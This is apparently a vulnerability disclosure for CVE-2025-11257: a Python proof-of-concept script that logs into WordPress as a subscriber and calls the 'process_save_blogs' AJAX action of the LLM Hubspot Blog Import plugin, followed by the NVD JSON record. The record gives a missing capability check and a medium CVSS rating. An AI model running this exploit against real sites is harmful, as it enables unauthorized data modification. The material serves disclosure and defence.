CVE-2025-11257

import requests import sys # CVE-2025-11257 PoC - Unauthorized Blog Import via Missing Capability Check # Target: WordPress site with LLM Hubspot Blog Import plugin <= 1.0.1 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Step 1: Authenticate with low-privilege account (Subscriber role) # Assuming we have valid WordPress credentials for a subscriber account session = requests.Session() # Login as subscriber login_url = f'{target}/wp-login.php' login_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Trigger unauthorized blog import via vulnerable AJAX endpoint exploit_url = f'{target}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'process_save_blogs', 'hubspot_blog_ids': 'all' # Import all HubSpot blogs } response = session.post(exploit_url, data=exploit_data) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') if response.status_code == 200: print('[+] Exploit successful - Blog import triggered without authorization')

{"cve": {"id": "CVE-2025-11257", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:42.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LLM Hubspot Blog Import plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'process_save_blogs' AJAX endpoint in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger an import of all Hubspot data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/llm-hubspot-blog-import/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/682ec57a-f67c-40a9-91cd-2a11159ff695?source=cve", "source": "[email protected]"}]}}